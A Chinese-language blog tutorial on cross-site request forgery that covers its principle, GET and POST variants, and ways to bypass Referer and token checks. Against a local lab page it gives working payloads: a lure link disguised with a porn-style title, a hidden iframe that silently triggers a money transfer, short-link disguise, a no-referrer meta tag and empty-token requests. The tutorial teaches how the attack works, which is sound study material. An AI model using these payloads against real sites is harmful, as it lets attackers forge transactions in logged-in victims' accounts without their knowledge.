CSRF漏洞详解

关注

原创最新推荐文章于 2025-04-17 16:29:58 发布 4.3k 阅读 AI 写同款· GEO 优化 ›

CSRF漏洞提示：文章写完后，目录可以自动生成，如何生成可参考右边的帮助文档文章目录什么是CSRF漏洞CSRF原理CSRF特点CSRF漏洞检测防御CSRF攻击：DVWA实例：security:lowsecurity：mediumsecurity：high总结什么是CSRF漏洞 CSRF（Cross-site request forgery），也被称为：one click attack/session riding，中文名称：跨站请求伪造，缩写为：CSRF/XSRF。一般来说，攻击者通过伪造用户的浏览器的请求，阅读详情

CSRF以及实例

CSRF讲解

1、什么是CSRF

CSRF（Cross-Site Request Forgery，跨站请求伪造）是一种常见的网络攻击，它利用了用户在已登录的情况下，通过在受信任的网站上执行未经用户授权的操作。攻击者通过诱导受害者访问特定页面或点击恶意链接，使其在受害者已登录的情况下发送伪造的请求，以执行未经授权的操作，比如修改用户个人资料、发起转账等。

CSRF与XSS听起来很像，但攻击方式完全不同。XSS攻击是利用受信任的站点攻击客户端用户，而CSRF是伪装成受信任的用户攻击受信任的站点。

2、CSRF漏洞的原理

CSRF攻击的原理基于受害者在已登录的情况下，通过在受信任的网站上执行未经用户授权的操作。攻击者利用受害者在浏览器中已经建立的会话（session），诱导受害者访问特定页面或点击恶意链接，从而触发浏览器向目标网站发送伪造的请求，执行恶意操作。

攻击者通常会在恶意网站上准备好伪造请求的代码，并将其嵌入到一个图片、链接或者其他网页元素中，诱导受害者访问。当受害者点击这个链接或者加载包含恶意代码的页面时，浏览器会自动向目标网站发送请求，由于受害者已经登录了目标网站，因此浏览器会自动带上受害者的认证信息（如 Cookie），使得目标网站无法区分这个请求是来自受害者还是合法用户。

在目标网站接收到这个伪造请求后，它会误以为是合法用户发送的请求，然后执行相应的操作，比如修改用户资料、发起转账等，从而造成了安全漏洞。
请添加图片描述

用户打开浏览器，访问受信任网站A，输入用户名和密码请求登录网站A
在用户信息通过验证后，网站A产生Cookie信息并返回给浏览器，此时用户登录网站A成功，可以正常发送请求到网站A
用户未退出网站A之前，在同一浏览器中，打开一个TAB页访问网站B
网站B接收到用户请求后，返回一些攻击性代码，并发出一个请求要求访问第三方站点A
浏览器在接收到这些攻击性代码后，根据网站B的请求，在用户不知情的情况下携带Cookie信息，向网站A发出请求。网站A并不知道该请求其实是由B发起的，所以会根据用户的Cookie信息以C的权限处理该请求，导致来自网站B的恶意代码被执行。

3、CSRF漏洞危害

篡改目标网站上的用户数据
盗取用户隐私数据
作为其他攻击向量的辅助攻击手法
传播CSRF蠕虫

4、常见类型

1）GET型

GET类型的CSRF漏洞很简单，只需要构建一个虚假链接，之后在其中加上payload即可，所以也是使用最少的类型。

我们先构建一个转账网站：

<?php 
$money=$_GET['money'];
$user=$_GET['user'];
print("向 $user 转账成功，金额为 $money");
?>

之后再构建一个恶意链接：

<!DOCTYPE html>
<head>
    <meta charset="UTF-8">
    <title>pronhub</title>
</head>
<body>
    <a href="http://127.0.0.1/www.test2.com/index.php?user=hacker&money=1000000">性感恭哥，在线发牌</a>
</body>

我们来看一下效果：当我们点击恶意链接时，便会在转账网站上执行payload
请添加图片描述

2）POST型

POST型相对于GET型来说相对复杂一些，我们需要构造一个表单来进行提交，不过我们也可以使用Burp来迅速构造出对应的表单。

首先先将转账网站的代码更改为POST传参。
请添加图片描述
之后打开转账网站进行赋值，获取传参后抓包。

发包到重放模块，修改用户名和金额，构造POC。

POC：

POC（Proof of Concept）指的是概念验证，通常用于漏洞验证或安全研究中。在计算机安全领域，POC通常是指一段代码或脚本，用于证明某个漏洞的存在或者某种攻击方式的可行性。POC通常用于漏洞披露、漏洞验证、渗透测试以及安全研究等方面。

一个有效的POC应该能够利用已知的漏洞或者攻击方法，实现特定的攻击目标。POC通常包括漏洞的利用代码、详细的漏洞利用步骤、攻击前提条件等信息。通过运行POC，安全研究人员可以验证漏洞的存在性、了解漏洞的影响范围，并进一步进行修复或防御措施的研究。
请添加图片描述

复制POC，将其写入恶意链接的代码。

之后只要用户点击恶意链接的按钮时便立即执行恶意转账操作。

3）Token验证

在Web开发中，token是指一种用于验证用户身份或执行权限的令牌。它通常是一个字符串，可以被包含在请求中的头部、URL参数、或者请求体中，用于向服务器证明用户的身份或权限。

当随机生成token后，我们可以通过 XSS漏洞获取当前页面的token，同时构造恶意链接。或者直接利用Burp的CSRF token插件来进行自动更新token。
请添加图片描述

5、攻击思路

1）常用标签

对于一般的GET型，大多是采用标签进行攻击的。所以在此罗列一些常用的标签。

超链接标签

<a href="http://xxx.com/?money=xxx&user=xxx"> </a>

img标签

<img src="http://xxx.com/?money=xxx&user=xxx"> </img>

iframe标签

<iframe> 标签用于在当前 HTML 文档中嵌入另一个 HTML 文档。这使得可以在一个页面中显示来自不同源的内容，或者将另一个网页嵌入到当前页面中的指定位置。

<iframe src="http://xxx.com/?money=xxx&user=xxx"> <iframe>

接下来我们讲讲iframe标签在攻击中的应用。

通过上面的例子我们可以发现，当用户点击恶意链接之后，页面会显示出来转账的用户和金额，这样不仅会使目标发现自己已被攻击从而采取措施，甚至可能暴露我们自己。

这时候iframe标签就有用了。我们构造转账界面和恶意链接代码：

<?php 
$money=$_GET['money'];
$user=$_GET['user'];
print("向 $user 转账成功，金额为 $money");
?>

<html>
<body>
    <iframe src="http://127.0.0.1/www.test2.com/test.php?money=100&user=hacker" style="display:none";>
</body>
</html>

当我们访问恶意链接时，会发现页面时空白的，这是因为style= "display:none";隐藏了页面元素，当我们将其去掉后，页面就会显示了。
请添加图片描述

通过这种方式，攻击目标不会第一时间发现自己遭受攻击，更有利于CSRF漏洞的利用。

2）短链接伪装

短链接伪装是指将一个较长的原始链接转换成一个较短的链接，同时使得这个短链接看起来像是来自一个可信任的源，从而欺骗用户点击该链接。这种技术经常被用于网络钓鱼、社会工程学攻击等恶意活动中。

当我们使用超链接时，会发现文字下方会显示出超链接的内容，这样会暴露超链接的目的，从而大大降低攻击成功率。
请添加图片描述

这时候我们就需要对超链接进行一定的伪装了。我们知道，一串较长的链接可以通过短地址来进行缩短，所以我们可以采取短链接伪装。

直接在网上搜一个短链接生成工具，将我们的恶意代码输入，即可得到短链接。

生成的短链接：https://my5353.com/NHvwy

之后我们将恶意代码更改为：

<!DOCTYPE html>
<head>
    <meta charset="UTF-8">
    <title>pronhub</title>
</head>
<body>
    <a href="https://my5353.com/NHvwy">性感恭哥，在线发牌</a>
</body>

效果如下：
请添加图片描述

3）类型转换（更换请求方法）

更换请求方法有时候也是一种攻击思路，当敏感信息以GET发送时，我们可以尝试转换为POST发送，当以POST发送时，我们可以尝试将其类型转换为GET发送，应用程序可能仍然执行操作，且通常没有任何保护机制。这是因为服务端可能接受的是REQUEST方式，此时就可以实现类型转换绕过，如：

POST /bank.com
POST body:
money=100&user=hacker

更换请求方法：

GET /bank.com?money=100&user=hacker

此时就可以成功转账，那这样的话，我们如果面对的是POST上传的，我们就可以构造一个链接，像这样:

<html>
    <a href="http://127.0.0.1/www.test2.com/test.php?user=hacker&money=100">性感恭哥，在线发牌</a>
</html>

此时就更换了请求方式，以GET方式上传，实现了CSRF。

6、绕过思路

1）绕过Referer检测

Referer检测的原理是，服务器端在接收到HTTP请求时，检查请求头中的Referer字段，如果该字段的值与期望的来源不符，则拒绝处理该请求，以防止恶意的CSRF攻击。例如，当用户在网站A登录后，浏览器发送请求到网站B的页面，如果网站B的服务器端进行了Referer检测，发现Referer字段不是网站A的地址，就会拒绝处理该请求。

需要注意的是，Referer检测并不是绝对安全的，因为Referer头部字段可以被修改或伪造。因此我们可以用这种方式来进行绕过。

下面是一个例子

写一个简单的检测Referer代码放入转账界面中：

<?php 
if( isset( $_REQUEST[ 'user' ] ) ) {
    if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
        $user=$_REQUEST['user'];
    }
}
else{
    exit("hacker!!!");
}
if( isset( $_REQUEST[ 'money' ] ) ) {
    if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
        $money=$_REQUEST['money'];
    }
}
else{
    exit("hacker!!!");
}
print("向 $user 转账成功，金额为 $money");
?>

$_SERVER['HTTP_REFERER']: 这个变量包含了引导用户代理到当前页面的前一页的地址。在这个条件语句中，它被用来检查请求的来源。
$_SERVER['SERVER_NAME']: 这个变量包含了当前正在执行脚本的服务器的主机名。
stripos($_SERVER['HTTP_REFERER'], $_SERVER['SERVER_NAME']) !== false: 这个条件检查Referer头部字段是否包含了当前服务器的主机名。

之后抓包看看。
请添加图片描述

我们可以看到Host和Referer是一致的，这是因为服务器在本地，请求界面和后端界面是一样的。但是在实际情况中使用CSRF漏洞时，Host和Referer肯定是不一样的，这时我们的恶意链接就会被过滤掉。

我们发现Referer头后面是我们的文件名，虽然ip地址是无法更改的，但是文件名是可以变动的，所以我们可以将文件名修改，使它和Host一致，这样我们就可以绕过Referer检测了。

除了上述的修改Referer头的方式，我们也可以直接删除Referer头来绕过检测。

可以添加如下meta标签到恶意链接代码中：

<meta name =“referrer”content =“no-referrer”>

<meta>标签中的name属性用于定义元数据的名称，而content属性用于指定元数据的值。在这个例子中，name属性的值为“referrer”，表示定义了一个引用来源（referrer）的元数据。content属性的值为“no-referrer”，表示不发送引用来源（referrer）信息。

这个<meta>标签通常用于控制浏览器发送给服务器的HTTP请求中的引用来源头部（Referer）。no-referrer告诉浏览器在发送请求时不包含引用来源信息，这样可以提高用户隐私保护，防止网站获取用户的浏览行为信息。

一般情况下Referer检测只有在发送请求后才会进行检测，通过这个标签就可以使服务器不对Referer检测，从而绕过。

2）绕过Token

绕过Token常用有两种方法：

删除token参数
发送空token

不发送token也可以正常请求数据是因为这种逻辑错误在应用程序中非常常见：应用程序有时会在token存在的时候或者token参数不为空的时候检查token的有效性。这种情况下，如果一个请求不包含token或者token值为空，那么也是有可能绕过CSRF的防御的。

例如：

正常的请求

POST /bank.com
POST body:
user=hacker&money=100&token=283caef0757a4ac9841dasb9ccd8b86a

我们可以这样绕过：

POST /bank.com
POST body:
user=hacker&money=100&token=
或
POST /bank.com
POST body:
user=hacker&money=100

标签

#csrf #安全 #web安全

本内容遵循 CC 4.0 BY-SA 版权协议

CSRF漏洞详解一文了解CSRF漏洞本篇总结归纳CSRF漏洞阅读详情